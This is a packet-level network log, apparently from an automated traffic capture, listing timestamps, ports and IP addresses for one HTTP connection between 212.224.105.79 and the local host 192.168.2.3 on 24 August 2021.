Aug 24, 2021 14:01:35.649863958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649873018 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649882078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649897099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649913073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649914980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649928093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649941921 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649944067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649959087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649974108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649979115 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649992943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.650008917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.650008917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.650024891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.650033951 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.650041103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.650057077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.650065899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.650093079 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.651009083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.651029110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.651110888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.660644054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.660672903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.660690069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.660706043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.660722017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.660739899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.660753012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.660782099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.660825014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.663321018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663341045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663356066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663372993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663391113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663409948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663418055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.663427114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.663484097 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.669938087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.669972897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.669989109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670006037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670021057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670022011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670036077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670052052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670068979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670077085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670088053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670104980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670104980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670120001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670129061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670135975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670151949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670167923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670182943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670192957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670198917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670217037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670233965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670248985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670253038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670264006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670279026 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670279980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670295000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670310020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670310020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670322895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670332909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670337915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670355082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670368910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670377970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670384884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670401096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670419931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670422077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670437098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670448065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670452118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670468092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670483112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670490026 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670497894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670514107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670528889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670540094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670555115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670558929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670571089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670586109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670586109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670602083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670617104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670627117 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670631886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670648098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670666933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670667887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670685053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670700073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670717001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670726061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670732021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670747995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670763016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670766115 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670778990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670790911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670797110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670814037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670825958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670829058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670845032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670854092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670861006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670876026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670885086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670891047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670907021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670926094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670931101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670937061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.670943022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670972109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.670983076 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.671029091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673124075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673145056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673161030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673177004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673192024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673207998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673233986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673234940 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673250914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673259020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673265934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673283100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673289061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673299074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673315048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673330069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673345089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673352003 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673363924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673379898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673391104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673396111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673410892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673427105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673429966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673441887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673458099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673466921 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673471928 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673491001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673496962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673507929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673522949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673523903 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673537970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673552990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673568010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673573971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673583031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673599005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673612118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673616886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673634052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673645020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673650026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673666000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673676968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673681974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673696041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673707008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673712015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673727989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673731089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673747063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673765898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673774958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673790932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673806906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673818111 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673824072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673841000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673856974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673862934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673871994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673887014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673892975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673902035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673918009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673927069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673933029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673952103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673964024 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673968077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673984051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.673998117 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.673999071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.674015045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.674029112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.674045086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.674052000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.674060106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.674079895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.674079895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.674124956 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.682673931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682697058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682713032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682729959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682745934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682760954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682780981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.682883024 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.686747074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686813116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686830044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686845064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686863899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686880112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686894894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.686911106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.687535048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.692862988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.692887068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.692930937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.692949057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.692965984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693000078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693001032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693017960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693083048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693089962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693099976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693121910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693145990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693236113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693253040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693268061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693279982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693284035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693300009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693305969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693315029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693361998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693394899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693411112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693425894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693439007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693444014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693460941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693500042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693500996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693517923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693523884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693567038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693593025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693609953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693625927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693641901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693667889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693672895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693686962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693703890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693710089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693720102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693731070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693734884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693782091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693794966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693811893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693826914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693837881 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693842888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693862915 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693906069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693922043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693938017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693948984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693953037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693972111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.693981886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.693989038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694016933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694022894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694032907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694046974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694062948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694082022 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694123983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694128036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694148064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694164038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694170952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694180012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694195986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694211006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694214106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694251060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694257021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694269896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694286108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694293022 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694302082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694317102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694339991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694376945 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.694417953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694433928 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694448948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.694493055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.695816994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.695903063 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.695943117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.695960045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.695976019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.695991993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696007013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696012020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696022987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696038008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696038961 CEST	80	49723	212.224.105.79	192.168.2.3
